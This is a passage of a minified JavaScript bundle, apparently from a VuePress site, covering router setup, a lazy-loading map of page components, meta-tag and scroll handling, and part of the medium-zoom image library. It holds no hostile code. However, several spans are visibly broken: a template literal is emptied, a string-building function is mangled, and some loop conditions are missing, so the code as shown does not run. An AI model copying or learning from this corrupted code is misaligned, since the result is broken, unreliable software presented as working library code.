r=t.config.optionMergeStrategies;r.beforeRouteEnter=r.beforeRouteLeave=r.beforeRouteUpdate=r.created}},Jn.version="3.6.5",Jn.isNavigationFailure=Cn,Jn.NavigationFailureType=un,Jn.START_LOCATION=sa,za&&window.Vue&&window.Vue.use(Jn);E(97);E(44),E(129);var zn={NotFound:()=>E.e(10).then(E.bind(null,299)),Layout:()=>Promise.all([E.e(0),E.e(4),E.e(3)]).then(E.bind(null,298))},$n={"v-2c99a2f6":()=>E.e(11).then(E.bind(null,304)),"v-0ed90b67":()=>E.e(12).then(E.bind(null,305)),"v-21fe9a67":()=>E.e(13).then(E.bind(null,306)),"v-2141330f":()=>E.e(14).then(E.bind(null,307)),"v-61bf581b":()=>E.e(15).then(E.bind(null,308)),"v-1fc1b82e":()=>E.e(16).then(E.bind(null,309)),"v-299725c0":()=>E.e(17).then(E.bind(null,310)),"v-31bbb118":()=>E.e(18).then(E.bind(null,311)),"v-445822d6":()=>E.e(19).then(E.bind(null,312)),"v-18b95f38":()=>E.e(20).then(E.bind(null,313)),"v-b7200bd4":()=>E.e(21).then(E.bind(null,314)),"v-2736e994":()=>E.e(22).then(E.bind(null,315)),"v-01e4323c":()=>E.e(23).then(E.bind(null,316)),"v-16c9a526":()=>E.e(24).then(E.bind(null,317)),"v-b1628c52":()=>E.e(25).then(E.bind(null,318)),"v-96e84136":()=>E.e(26).then(E.bind(null,319)),"v-0afc3a45":()=>E.e(27).then(E.bind(null,320)),"v-31ebc6be":()=>E.e(28).then(E.bind(null,321)),"v-1f23bca6":()=>E.e(29).then(E.bind(null,322)),"v-691192ba":()=>E.e(30).then(E.bind(null,323)),"v-56a704c7":()=>E.e(31).then(E.bind(null,324)),"v-30250e53":()=>E.e(32).then(E.bind(null,325)),"v-256b335a":()=>E.e(33).then(E.bind(null,326)),"v-dc4734cc":()=>E.e(34).then(E.bind(null,327)),"v-0eb505a2":()=>E.e(35).then(E.bind(null,328)),"v-296281ca":()=>E.e(36).then(E.bind(null,329)),"v-1a830fbc":()=>E.e(37).then(E.bind(null,330)),"v-2274a2fc":()=>E.e(38).then(E.bind(null,331)),"v-215c2d46":()=>E.e(39).then(E.bind(null,332)),"v-6edfe1fe":()=>E.e(40).then(E.bind(null,333)),"v-04a438ce":()=>E.e(41).then(E.bind(null,334)),"v-73a938c9":()=>E.e(42).then(E.bind(null,335)),"v-38a0b656":()=>E.e(43).then(E.bind(null,336)),"v-77700dbf":()=>E.e(44).then(E.bind(null,337)),"v-b98c1c30":()=>E.e(45).then(E.bind(null,338)),"v-964db876":()=>E.e(46).then(E.bind(null,339)),"v-6ca0b234":()=>E.e(47).then(E.bind(null,340)),"v-a6f54436":()=>E.e(48).then(E.bind(null,341)),"v-93f98e38":()=>E.e(49).then(E.bind(null,342)),"v-1ea15bae":()=>E.e(50).then(E.bind(null,343)),"v-b74b60de":()=>E.e(51).then(E.bind(null,344)),"v-64eac13d":()=>E.e(52).then(E.bind(null,345)),"v-3750b18e":()=>E.e(53).then(E.bind(null,346)),"v-011ed2a4":()=>E.e(54).then(E.bind(null,347)),"v-2096be65":()=>E.e(55).then(E.bind(null,348)),"v-846f5b64":()=>E.e(56).then(E.bind(null,349)),"v-2eb2e8db":()=>E.e(57).then(E.bind(null,350)),"v-7589dd4c":()=>E.e(58).then(E.bind(null,351)),"v-63159a55":()=>E.e(59).then(E.bind(null,352)),"v-d2391bb2":()=>E.e(60).then(E.bind(null,353)),"v-2c4ceec9":()=>E.e(61).then(E.bind(null,354)),"v-2dd51a14":()=>E.e(62).then(E.bind(null,355)),"v-5d25a704":()=>E.e(63).then(E.bind(null,356)),"v-670664d4":()=>E.e(64).then(E.bind(null,357)),"v-111f8a26":()=>E.e(65).then(E.bind(null,358)),"v-28a66745":()=>E.e(66).then(E.bind(null,359)),"v-bbb072c2":()=>E.e(67).then(E.bind(null,360)),"v-3bb97eee":()=>E.e(68).then(E.bind(null,361)),"v-45d8e7d0":()=>E.e(69).then(E.bind(null,362)),"v-57322474":()=>E.e(70).then(E.bind(null,363)),"v-7f325c22":()=>E.e(71).then(E.bind(null,364)),"v-22962a7b":()=>E.e(72).then(E.bind(null,365)),"v-4f5dd6b6":()=>E.e(73).then(E.bind(null,366)),"v-2426679f":()=>E.e(74).then(E.bind(null,367)),"v-f0577e44":()=>E.e(75).then(E.bind(null,368)),"v-041a4266":()=>E.e(76).then(E.bind(null,369)),"v-12b6a3bb":()=>E.e(77).then(E.bind(null,370)),"v-a40f9786":()=>E.e(78).then(E.bind(null,371)),"v-3f13a3c5":()=>E.e(79).then(E.bind(null,372)),"v-84fd5362":()=>E.e(80).then(E.bind(null,373)),"v-40f38094":()=>E.e(81).then(E.bind(null,374)),"v-620197c0":()=>E.e(82).then(E.bind(null,375)),"v-96f59c72":()=>E.e(83).then(E.bind(null,376)),"v-e93688a0":()=>E.e(84).then(E.bind(null,377)),"v-150b645a":()=>E.e(85).then(E.bind(null,378)),"v-258af37e":()=>E.e(86).then(E.bind(null,379)),"v-4b54a820":()=>E.e(87).then(E.bind(null,380)),"v-8a3faf8e":()=>E.e(88).then(E.bind(null,381)),"v-9ed1c086":()=>E.e(89).then(E.bind(null,382)),"v-1ebcaf99":()=>E.e(90).then(E.bind(null,383)),"v-66f8a1f2":()=>E.e(91).then(E.bind(null,384)),"v-40ebcb16":()=>E.e(92).then(E.bind(null,385)),"v-aece93ca":()=>E.e(93).then(E.bind(null,386)),"v-741e9c3d":()=>E.e(94).then(E.bind(null,387)),"v-174a78fe":()=>E.e(95).then(E.bind(null,388)),"v-167938cb":()=>E.e(96).then(E.bind(null,389)),"v-fc5cf2ca":()=>E.e(97).then(E.bind(null,390)),"v-0be82a49":()=>E.e(98).then(E.bind(null,391)),"v-408e39be":()=>E.e(99).then(E.bind(null,392)),"v-2b9d067b":()=>E.e(100).then(E.bind(null,393)),"v-1dc42540":()=>E.e(101).then(E.bind(null,394)),"v-484183a1":()=>E.e(102).then(E.bind(null,395)),"v-42f82cc0":()=>E.e(103).then(E.bind(null,396)),"v-ff84c35a":()=>E.e(104).then(E.bind(null,397)),"v-302f0b9d":()=>E.e(105).then(E.bind(null,398)),"v-7b63f51b":()=>E.e(106).then(E.bind(null,399)),"v-09a2c2ec":()=>E.e(107).then(E.bind(null,400)),"v-797843fe":()=>E.e(108).then(E.bind(null,401)),"v-07741c6a":()=>E.e(109).then(E.bind(null,402)),"v-4a1ac0cc":()=>E.e(110).then(E.bind(null,403)),"v-5b592441":()=>E.e(111).then(E.bind(null,404)),"v-2e244c52":()=>E.e(112).then(E.bind(null,405)),"v-6bca2382":()=>E.e(113).then(E.bind(null,406)),"v-712bc0ae":()=>E.e(114).then(E.bind(null,407)),"v-d7fbb106":()=>E.e(115).then(E.bind(null,408)),"v-77221ea5":()=>E.e(116).then(E.bind(null,409)),"v-71e386ca":()=>E.e(117).then(E.bind(null,410)),"v-64fa5c7f":()=>E.e(118).then(E.bind(null,411)),"v-36389193":()=>E.e(119).then(E.bind(null,412)),"v-6a85b00e":()=>E.e(123).then(E.bind(null,413)),"v-07375fc8":()=>E.e(124).then(E.bind(null,414)),"v-4e3b04ee":()=>E.e(125).then(E.bind(null,415)),"v-24e2ebfa":()=>E.e(126).then(E.bind(null,416)),"v-48829e62":()=>E.e(127).then(E.bind(null,417)),"v-7fdc9e4e":()=>E.e(128).then(E.bind(null,418)),"v-68c36fb0":()=>E.e(129).then(E.bind(null,419)),"v-1b3b8e72":()=>E.e(130).then(E.bind(null,420)),"v-abe84b8e":()=>E.e(131).then(E.bind(null,421)),"v-5f57271d":()=>E.e(132).then(E.bind(null,422)),"v-06a60f6a":()=>E.e(133).then(E.bind(null,423)),"v-5f6445d4":()=>E.e(134).then(E.bind(null,424)),"v-2024d00d":()=>E.e(135).then(E.bind(null,425)),"v-400a8132":()=>E.e(136).then(E.bind(null,426)),"v-72c16125":()=>E.e(137).then(E.bind(null,427)),"v-522b1c71":()=>E.e(138).then(E.bind(null,428)),"v-66638a79":()=>E.e(139).then(E.bind(null,429)),"v-157ed965":()=>E.e(140).then(E.bind(null,430)),"v-1f7983de":()=>E.e(141).then(E.bind(null,431)),"v-aa3169f6":()=>E.e(142).then(E.bind(null,432)),"v-31cc793a":()=>E.e(143).then(E.bind(null,433)),"v-463a3aef":()=>E.e(144).then(E.bind(null,434)),"v-1359e9b1":()=>E.e(145).then(E.bind(null,435)),"v-3596d15d":()=>E.e(146).then(E.bind(null,436)),"v-5033ab65":()=>E.e(147).then(E.bind(null,437)),"v-6aafc37b":()=>E.e(148).then(E.bind(null,438)),"v-6dde01f6":()=>E.e(149).then(E.bind(null,439)),"v-981e59f2":()=>E.e(150).then(E.bind(null,440)),"v-50787970":()=>E.e(151).then(E.bind(null,441)),"v-597db26f":()=>E.e(152).then(E.bind(null,442)),"v-68375999":()=>E.e(153).then(E.bind(null,443)),"v-0b961d20":()=>E.e(154).then(E.bind(null,444)),"v-0626eba7":()=>E.e(155).then(E.bind(null,445)),"v-63c8e83c":()=>E.e(156).then(E.bind(null,446)),"v-48d592b6":()=>E.e(157).then(E.bind(null,447)),"v-64e54259":()=>E.e(158).then(E.bind(null,448)),"v-3dd5a618":()=>E.e(159).then(E.bind(null,449)),"v-448fa758":()=>E.e(160).then(E.bind(null,450)),"v-510414ab":()=>E.e(161).then(E.bind(null,451)),"v-c9a83060":()=>E.e(162).then(E.bind(null,452)),"v-614cd606":()=>E.e(163).then(E.bind(null,453)),"v-e733d654":()=>E.e(164).then(E.bind(null,454)),"v-6823253d":()=>E.e(165).then(E.bind(null,455)),"v-150ece25":()=>E.e(166).then(E.bind(null,456)),"v-7e946f45":()=>E.e(167).then(E.bind(null,457)),"v-564af3d6":()=>E.e(168).then(E.bind(null,458)),"v-81e72996":()=>E.e(169).then(E.bind(null,459)),"v-43cab81a":()=>E.e(170).then(E.bind(null,460)),"v-d7512238":()=>E.e(171).then(E.bind(null,461)),"v-1e9f73dc":()=>E.e(172).then(E.bind(null,462)),"v-b641a0c6":()=>E.e(173).then(E.bind(null,463)),"v-b4f99bf6":()=>E.e(174).then(E.bind(null,464)),"v-7256f10a":()=>E.e(175).then(E.bind(null,465)),"v-aa51ea88":()=>E.e(176).then(E.bind(null,466)),"v-72a2980c":()=>E.e(177).then(E.bind(null,467)),"v-b6d2b14a":()=>E.e(178).then(E.bind(null,468)),"v-cbabf5f6":()=>E.e(179).then(E.bind(null,469)),"v-6872fea9":()=>E.e(180).then(E.bind(null,470)),"v-3ce91c78":()=>E.e(181).then(E.bind(null,471)),"v-3a5876e7":()=>E.e(182).then(E.bind(null,472)),"v-64f98eb2":()=>E.e(183).then(E.bind(null,473)),"v-51466830":()=>E.e(184).then(E.bind(null,474)),"v-55ef5edd":()=>E.e(185).then(E.bind(null,475)),"v-4daa32d5":()=>E.e(186).then(E.bind(null,476)),"v-c5d592b2":()=>E.e(187).then(E.bind(null,477)),"v-01ff9bbd":()=>E.e(188).then(E.bind(null,478)),"v-6641c1ab":()=>E.e(189).then(E.bind(null,479)),"v-0f269320":()=>E.e(190).then(E.bind(null,480)),"v-7456cc18":()=>E.e(191).then(E.bind(null,481)),"v-136f0016":()=>E.e(192).then(E.bind(null,482)),"v-6b66a07c":()=>E.e(193).then(E.bind(null,483)),"v-f40695ec":()=>E.e(194).then(E.bind(null,484)),"v-d8557ba6":()=>E.e(195).then(E.bind(null,485)),"v-e8193e16":()=>E.e(196).then(E.bind(null,486)),"v-66862af1":()=>E.e(197).then(E.bind(null,487)),"v-42f562f6":()=>E.e(198).then(E.bind(null,488)),"v-c5657c64":()=>E.e(199).then(E.bind(null,489)),"v-ff041c22":()=>E.e(200).then(E.bind(null,490)),"v-d7e6f34a":()=>E.e(201).then(E.bind(null,491)),"v-1eda8fab":()=>E.e(202).then(E.bind(null,492)),"v-5d3bcc50":()=>E.e(203).then(E.bind(null,493)),"v-43cf9536":()=>E.e(204).then(E.bind(null,494)),"v-587f42d6":()=>E.e(205).then(E.bind(null,495)),"v-4514b325":()=>E.e(206).then(E.bind(null,496)),"v-6d5dc409":()=>E.e(207).then(E.bind(null,497)),"v-3efe6e42":()=>E.e(208).then(E.bind(null,498)),"v-74ab1978":()=>E.e(209).then(E.bind(null,499)),"v-8e7d52a6":()=>E.e(210).then(E.bind(null,500)),"v-345181b6":()=>E.e(211).then(E.bind(null,501)),"v-5c7443c9":()=>E.e(212).then(E.bind(null,502)),"v-59dd1af0":()=>E.e(213).then(E.bind(null,503)),"v-29a6dfd3":()=>E.e(214).then(E.bind(null,504)),"v-5c72c9b6":()=>E.e(215).then(E.bind(null,505)),"v-9e3680f6":()=>E.e(216).then(E.bind(null,506)),"v-16efbfc5":()=>E.e(217).then(E.bind(null,507)),"v-0e443fdc":()=>E.e(218).then(E.bind(null,508)),"v-1c068e9f":()=>E.e(219).then(E.bind(null,509)),"v-727eb195":()=>E.e(220).then(E.bind(null,510)),"v-4e994d92":()=>E.e(221).then(E.bind(null,511)),"v-824d8e42":()=>E.e(222).then(E.bind(null,512)),"v-69ed9624":()=>E.e(223).then(E.bind(null,513)),"v-6a290178":()=>E.e(224).then(E.bind(null,514)),"v-d2059746":()=>E.e(225).then(E.bind(null,515)),"v-7bc5ddb6":()=>E.e(226).then(E.bind(null,516)),"v-5f3f0e07":()=>E.e(227).then(E.bind(null,517)),"v-1ae4bbc0":()=>E.e(228).then(E.bind(null,518)),"v-0ed8d409":()=>E.e(229).then(E.bind(null,519)),"v-5b8e48c7":()=>E.e(230).then(E.bind(null,520)),"v-3b42cd52":()=>E.e(231).then(E.bind(null,521)),"v-042f800d":()=>E.e(232).then(E.bind(null,522)),"v-17ae3330":()=>E.e(233).then(E.bind(null,523)),"v-6ae9748b":()=>E.e(234).then(E.bind(null,524)),"v-7d232cda":()=>E.e(235).then(E.bind(null,525)),"v-5013a328":()=>E.e(236).then(E.bind(null,526)),"v-bc525ed8":()=>E.e(237).then(E.bind(null,527)),"v-3f7b88d6":()=>E.e(238).then(E.bind(null,528)),"v-25d9a590":()=>E.e(239).then(E.bind(null,529)),"v-0741b56a":()=>E.e(240).then(E.bind(null,530)),"v-3bf0dc5a":()=>E.e(241).then(E.bind(null,531)),"v-2a9ee420":()=>E.e(242).then(E.bind(null,532)),"v-097d90e2":()=>E.e(243).then(E.bind(null,533)),"v-fc475b4c":()=>E.e(244).then(E.bind(null,534)),"v-28d4d06a":()=>E.e(245).then(E.bind(null,535)),"v-10875ec9":()=>E.e(246).then(E.bind(null,536)),"v-a9161274":()=>E.e(247).then(E.bind(null,537)),"v-332d59c0":()=>E.e(248).then(E.bind(null,538)),"v-a0f2adaa":()=>E.e(249).then(E.bind(null,539)),"v-2eabbb1c":()=>E.e(120).then(E.bind(null,540)),"v-2e8fdfa8":()=>E.e(251).then(E.bind(null,541)),"v-b5ca6f52":()=>E.e(252).then(E.bind(null,542)),"v-66a56583":()=>E.e(253).then(E.bind(null,543)),"v-56d55b2a":()=>E.e(254).then(E.bind(null,544)),"v-ca9b76f0":()=>E.e(255).then(E.bind(null,545)),"v-396197f8":()=>E.e(256).then(E.bind(null,546)),"v-67e229d8":()=>E.e(257).then(E.bind(null,547)),"v-911e4aa0":()=>E.e(258).then(E.bind(null,548)),"v-3594623a":()=>E.e(259).then(E.bind(null,549)),"v-6d250ead":()=>E.e(260).then(E.bind(null,550)),"v-3f800729":()=>E.e(261).then(E.bind(null,551)),"v-7eb29104":()=>E.e(262).then(E.bind(null,552)),"v-61a1e6a4":()=>E.e(263).then(E.bind(null,553)),"v-153db886":()=>E.e(264).then(E.bind(null,554)),"v-2311d60f":()=>E.e(265).then(E.bind(null,555)),"v-2b322cde":()=>E.e(266).then(E.bind(null,556)),"v-f5f0ab4a":()=>E.e(267).then(E.bind(null,557)),"v-453d2887":()=>E.e(268).then(E.bind(null,558)),"v-97db2966":()=>E.e(269).then(E.bind(null,559)),"v-0afcb49b":()=>E.e(270).then(E.bind(null,560)),"v-6da687a6":()=>E.e(271).then(E.bind(null,561)),"v-18773ac2":()=>E.e(272).then(E.bind(null,562)),"v-33028881":()=>E.e(273).then(E.bind(null,563)),"v-550aab28":()=>E.e(274).then(E.bind(null,564)),"v-8fde034e":()=>E.e(275).then(E.bind(null,565)),"v-14338ce2":()=>E.e(276).then(E.bind(null,566)),"v-78c1f8ee":()=>E.e(277).then(E.bind(null,567)),"v-1cc50295":()=>E.e(278).then(E.bind(null,568)),"v-3a06ba4e":()=>E.e(279).then(E.bind(null,569)),"v-06294a76":()=>E.e(280).then(E.bind(null,570)),"v-802386b8":()=>E.e(281).then(E.bind(null,571)),"v-28969fe9":()=>E.e(282).then(E.bind(null,572)),"v-0bff26ae":()=>E.e(283).then(E.bind(null,573)),"v-4e729c19":()=>E.e(284).then(E.bind(null,574)),"v-505303d3":()=>E.e(285).then(E.bind(null,575)),"v-8cc83802":()=>E.e(286).then(E.bind(null,576)),"v-16c3401a":()=>E.e(287).then(E.bind(null,577)),"v-76c6ebcc":()=>E.e(288).then(E.bind(null,578)),"v-4e7b002a":()=>E.e(289).then(E.bind(null,579)),"v-a2b4452e":()=>E.e(290).then(E.bind(null,580)),"v-a036626a":()=>E.e(291).then(E.bind(null,581)),"v-36116206":()=>E.e(292).then(E.bind(null,582)),"v-cdbb1d5a":()=>E.e(293).then(E.bind(null,583)),"v-519b16a5":()=>E.e(294).then(E.bind(null,584)),"v-64af9241":()=>E.e(295).then(E.bind(null,585)),"v-e8824390":()=>E.e(296).then(E.bind(null,586)),"v-1bf8b330":()=>E.e(297).then(E.bind(null,587)),"v-0c4438a8":()=>E.e(298).then(E.bind(null,588)),"v-386e3242":()=>E.e(299).then(E.bind(null,589)),"v-7c0d6cec":()=>E.e(300).then(E.bind(null,590)),"v-3307b331":()=>E.e(301).then(E.bind(null,591)),"v-7e6d8b4a":()=>E.e(302).then(E.bind(null,592)),"v-44f67bd4":()=>E.e(303).then(E.bind(null,593)),"v-1fa998b0":()=>E.e(304).then(E.bind(null,594)),"v-5ae51930":()=>E.e(305).then(E.bind(null,595)),"v-5e051c56":()=>E.e(306).then(E.bind(null,596)),"v-26c9f6a7":()=>E.e(307).then(E.bind(null,597)),"v-9ac4cfbe":()=>E.e(308).then(E.bind(null,598)),"v-0b66ae88":()=>E.e(309).then(E.bind(null,599)),"v-5a600e7a":()=>E.e(310).then(E.bind(null,600)),"v-3a9d3f25":()=>E.e(311).then(E.bind(null,601)),"v-5cc177b2":()=>E.e(312).then(E.bind(null,602)),"v-ed5cf674":()=>E.e(313).then(E.bind(null,603)),"v-4c9ffc34":()=>E.e(314).then(E.bind(null,604)),"v-075dfb8c":()=>E.e(315).then(E.bind(null,605)),"v-537a8168":()=>E.e(316).then(E.bind(null,606)),"v-60546cf5":()=>E.e(317).then(E.bind(null,607)),"v-7918ac0c":()=>E.e(318).then(E.bind(null,608)),"v-d1e51886":()=>E.e(319).then(E.bind(null,609)),"v-5550a4cf":()=>E.e(320).then(E.bind(null,610)),"v-09bf13ee":()=>E.e(321).then(E.bind(null,611)),"v-d1b725c6":()=>E.e(322).then(E.bind(null,612)),"v-6a1d09db":()=>E.e(323).then(E.bind(null,613)),"v-d71bc0e2":()=>E.e(324).then(E.bind(null,614)),"v-e4d56678":()=>E.e(325).then(E.bind(null,615)),"v-6c386d60":()=>E.e(326).then(E.bind(null,616)),"v-beb6b16a":()=>E.e(327).then(E.bind(null,617)),"v-8128e79a":()=>E.e(328).then(E.bind(null,618)),"v-1c53e24e":()=>E.e(329).then(E.bind(null,619)),"v-d8be47ba":()=>E.e(331).then(E.bind(null,620)),"v-5adcf599":()=>E.e(332).then(E.bind(null,621)),"v-c4a087da":()=>E.e(333).then(E.bind(null,622)),"v-963bbc92":()=>E.e(334).then(E.bind(null,623)),"v-56bc4367":()=>E.e(335).then(E.bind(null,624)),"v-d9ccacfe":()=>E.e(336).then(E.bind(null,625)),"v-7a4e99e2":()=>E.e(337).then(E.bind(null,626)),"v-4f4a21d2":()=>E.e(330).then(E.bind(null,627)),"v-5a0fa5e6":()=>E.e(341).then(E.bind(null,628)),"v-5bdf7dba":()=>E.e(338).then(E.bind(null,629)),"v-cba74cd2":()=>E.e(339).then(E.bind(null,630)),"v-d4b8b22a":()=>E.e(340).then(E.bind(null,631)),"v-8cb15cf6":()=>E.e(342).then(E.bind(null,632)),"v-6031fe45":()=>E.e(343).then(E.bind(null,633)),"v-3e43514b":()=>E.e(344).then(E.bind(null,634)),"v-48133241":()=>E.e(345).then(E.bind(null,635)),"v-8a6567ca":()=>E.e(346).then(E.bind(null,636)),"v-45e26602":()=>E.e(347).then(E.bind(null,637)),"v-930c5a0a":()=>E.e(348).then(E.bind(null,638)),"v-1c648cb8":()=>E.e(349).then(E.bind(null,639)),"v-c3ddf76a":()=>E.e(350).then(E.bind(null,640)),"v-95ccd8a2":()=>E.e(351).then(E.bind(null,641)),"v-2ea42476":()=>E.e(352).then(E.bind(null,642)),"v-1a671b53":()=>E.e(353).then(E.bind(null,643)),"v-34bfc547":()=>E.e(354).then(E.bind(null,644)),"v-44aa6488":()=>E.e(355).then(E.bind(null,645)),"v-8da2b212":()=>E.e(356).then(E.bind(null,646)),"v-9ea8a078":()=>E.e(357).then(E.bind(null,647)),"v-57ca9e24":()=>E.e(358).then(E.bind(null,648)),"v-391e7474":()=>E.e(359).then(E.bind(null,649)),"v-4bcd5a36":()=>E.e(360).then(E.bind(null,650)),"v-4f5e983c":()=>E.e(361).then(E.bind(null,651)),"v-5b4b2898":()=>E.e(362).then(E.bind(null,652)),"v-ec91f966":()=>E.e(363).then(E.bind(null,653)),"v-caee8a52":()=>E.e(364).then(E.bind(null,654)),"v-7c8288a5":()=>E.e(365).then(E.bind(null,655)),"v-96e2d6ce":()=>E.e(366).then(E.bind(null,656)),"v-3c89ee52":()=>E.e(367).then(E.bind(null,657)),"v-46711436":()=>E.e(368).then(E.bind(null,658)),"v-1b2fc345":()=>E.e(369).then(E.bind(null,659)),"v-33a1c22a":()=>E.e(370).then(E.bind(null,660)),"v-2dae6d1e":()=>E.e(121).then(E.bind(null,661)),"v-95e4fa80":()=>E.e(122).then(E.bind(null,662)),"v-a6b936c0":()=>E.e(250).then(E.bind(null,663))};function Nn(e){const t=Object.create(null);return function(E){return t[E]||(t[E]=e(E))}}const Hn=/-(\w)/g,Kn=Nn(e=>e.replace(Hn,(e,t)=>t?t.toUpperCase():"")),Gn=/\B([A-Z])/g,Xn=Nn(e=>e.replace(Gn,"-$1").toLowerCase()),Yn=Nn(e=>e.charAt(0).toUpperCase()+e.slice(1));function eo(e,t){if(!t)return;if(e(t))return e(t);return t.includes("-")?e(Yn(Kn(t))):e(Yn(t))||e(Xn(t))}const to=Object.assign({},zn,$n),Eo=e=>to[e],lo=e=>$n[e],ro=e=>zn[e],ao=e=>zE.component(e);function no(e){return eo(lo,e)}function oo(e){return eo(ro,e)}function io(e){return eo(Eo,e)}function co(e){return eo(ao,e)}function Ao(...e){return Promise.all(e.filter(e=>e).map(async e=>{if(!co(e)&&io(e)){const t=await io(e)();zE.component(e,t.default)}}))}function mo(e,t){"undefined"!=typeof window&&window.__VUEPRESS__&&(window.__VUEPRESS__[e]=t)}var Bo=E(92),so=E.n(Bo),po=E(93),ho=E.n(po),uo={created(){if(this.siteMeta=this.$site.headTags.filter(([e])=>"meta"===e).map(([e,t])=>t),this.$ssrContext){const t=this.getMergedMetaTags();this.$ssrContext.title=this.$title,this.$ssrContext.lang=this.$lang,this.$ssrContext.pageMeta=(e=t)?e.map(e=>{let t="{t+=` ${E}="${ho()(e[E])}"`}),t+">"}).join("\n "):"",this.$ssrContext.canonicalLink=vo(this.$canonicalUrl)}var e},mounted(){this.currentMetaTags=[...document.querySelectorAll("meta")],this.updateMeta(),this.updateCanonicalLink()},methods:{updateMeta(){document.title=this.$title,document.documentElement.lang=this.$lang;const e=this.getMergedMetaTags();this.currentMetaTags=yo(e,this.currentMetaTags)},getMergedMetaTags(){const e=this.$page.frontmatter.meta||[];return so()([{name:"description",content:this.$description}],e,this.siteMeta,fo)},updateCanonicalLink(){go(),this.$canonicalUrl&&document.head.insertAdjacentHTML("beforeend",vo(this.$canonicalUrl))}},watch:{$page(){this.updateMeta(),this.updateCanonicalLink()}},beforeDestroy(){yo(null,this.currentMetaTags),go()}};function go(){const e=document.querySelector("link[rel='canonical']");e&&e.remove()}function vo(e=""){return e?``:""}function yo(e,t){if(t&&[...t].filter(e=>e.parentNode===document.head).forEach(e=>document.head.removeChild(e)),e)return e.map(e=>{const t=document.createElement("meta");return Object.keys(e).forEach(E=>{t.setAttribute(E,e[E])}),document.head.appendChild(t),t})}function fo(e){for(const t of["name","property","itemprop"])if(e.hasOwnProperty(t))return e[t]+t;return JSON.stringify(e)}var bo=E(87),Co={mounted(){window.addEventListener("scroll",this.onScroll)},methods:{onScroll:E.n(bo)()((function(){this.setActiveHash()}),300),setActiveHash(){const e=[].slice.call(document.querySelectorAll(".sidebar-link")),t=[].slice.call(document.querySelectorAll(".header-anchor")).filter(t=>e.some(e=>e.hash===t.hash)),E=Math.max(window.pageYOffset,document.documentElement.scrollTop,document.body.scrollTop),l=Math.max(document.documentElement.scrollHeight,document.body.scrollHeight),r=window.innerHeight+E;for(let e=0;e=a.parentElement.offsetTop+10&&(!n||E{this.$nextTick(()=>{this.$vuepress.$set("disableScrollBehavior",!1)})})}}}},beforeDestroy(){window.removeEventListener("scroll",this.onScroll)}},Fo=E(23),Do=E.n(Fo),ko={mounted(){Do.a.configure({showSpinner:!1}),this.$router.beforeEach((e,t,E)=>{e.path===t.path||zE.component(e.name)||Do.a.start(),E()}),this.$router.afterEach(()=>{Do.a.done(),this.isSidebarOpen=!1})}},So=(E(235),Object.assign||function(e){for(var t=1;t1&&void 0!==arguments[1]?arguments[1]:{},l=window.Promise||function(e){function t(){}e(t,t)},r=function(e){var t=e.target;t!==D?-1!==v.indexOf(t)&&p({target:t}):d()},a=function(){if(!f&&F.original){var e=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0;Math.abs(b-e)>C.scrollOffset&&setTimeout(d,150)}},n=function(e){var t=e.key||e.keyCode;"Escape"!==t&&"Esc"!==t&&27!==t||d()},o=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e;if(e.background&&(D.style.background=e.background),e.container&&e.container instanceof Object&&(t.container=So({},C.container,e.container)),e.template){var E=Po(e.template)?e.template:document.querySelector(e.template);t.template=E}return C=So({},C,t),v.forEach((function(e){e.dispatchEvent(jo("medium-zoom:update",{detail:{zoom:k}}))})),k},i=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return e(So({},C,t))},c=function(){for(var e=arguments.length,t=Array(e),E=0;E0?t.reduce((function(e,t){return[].concat(e,Mo(t))}),[]):v;return l.forEach((function(e){e.classList.remove("medium-zoom-image"),e.dispatchEvent(jo("medium-zoom:detach",{detail:{zoom:k}}))})),v=v.filter((function(e){return-1===l.indexOf(e)})),k},m=function(e,t){var E=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return v.forEach((function(l){l.addEventListener("medium-zoom:"+e,t,E)})),y.push({type:"medium-zoom:"+e,listener:t,options:E}),k},B=function(e,t){var E=arguments.length>2&&void 0!==arguments[2]?arguments[2]:{};return v.forEach((function(l){l.removeEventListener("medium-zoom:"+e,t,E)})),y=y.filter((function(E){return!(E.type==="medium-zoom:"+e&&E.listener.toString()===t.toString())})),k},s=function(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=e.target,E=function(){var e={width:document.documentElement.clientWidth,height:document.documentElement.clientHeight,left:0,top:0,right:0,bottom:0},t=void 0,E=void 0;if(C.container)if(C.container instanceof Object)t=(e=So({},e,C.container)).width-e.left-e.right-2*C.margin,E=e.height-e.top-e.bottom-2*C.margin;else{var l=(Po(C.container)?C.container:document.querySelector(C.container)).getBoundingClientRect(),r=l.width,a=l.height,n=l.left,o=l.top;e=So({},e,{width:r,height:a,left:n,top:o})}t=t||e.width-2*C.margin,E=E||e.height-2*C.margin;var i=F.zoomedHd||F.original,c=_o(i)?t:i.naturalWidth||t,A=_o(i)?E:i.naturalHeight||E,m=i.getBoundingClientRect(),B=m.top,s=m.left,d=m.width,p=m.height,h=Math.min(c,t)/d,u=Math.min(A,E)/p,g=Math.min(h,u),v="scale("+g+") translate3d("+((t-d)/2-s+C.margin+e.left)/g+"px, "+((E-p)/2-B+C.margin+e.top)/g+"px, 0)";F.zoomed.style.transform=v,F.zoomedHd&&(F.zoomedHd.style.transform=v)};return new l((function(e){if(t&&-1===v.indexOf(t))e(k);else{if(F.zoomed)e(k);else{if(t)F.original=t;else{if(!(v.length>0))return void e(k);var l=v;F.original=l[0]}if(F.original.dispatchEvent(jo("medium-zoom:open",{detail:{zoom:k}})),b=window.pageYOffset||document.documentElement.scrollTop||document.body.scrollTop||0,f=!0,F.zoomed=To(F.original),document.body.appendChild(D),C.template){var r=Po(C.template)?C.template:document.querySelector(C.template);F.template=document.createElement("div"),F.template.appendChild(r.content.cloneNode(!0)),document.body.appendChild(F.template)}if(document.body.appendChild(F.zoomed),window.requestAnimationFrame((function(){document.body.classList.add("medium-zoom--opened")})),F.original.classList.add("medium-zoom-image--hidden"),F.zoomed.classList.add("medium-zoom-image--opened"),F.zoomed.addEventListener("click",d),F.zoomed.addEventListener("transitionend",(function 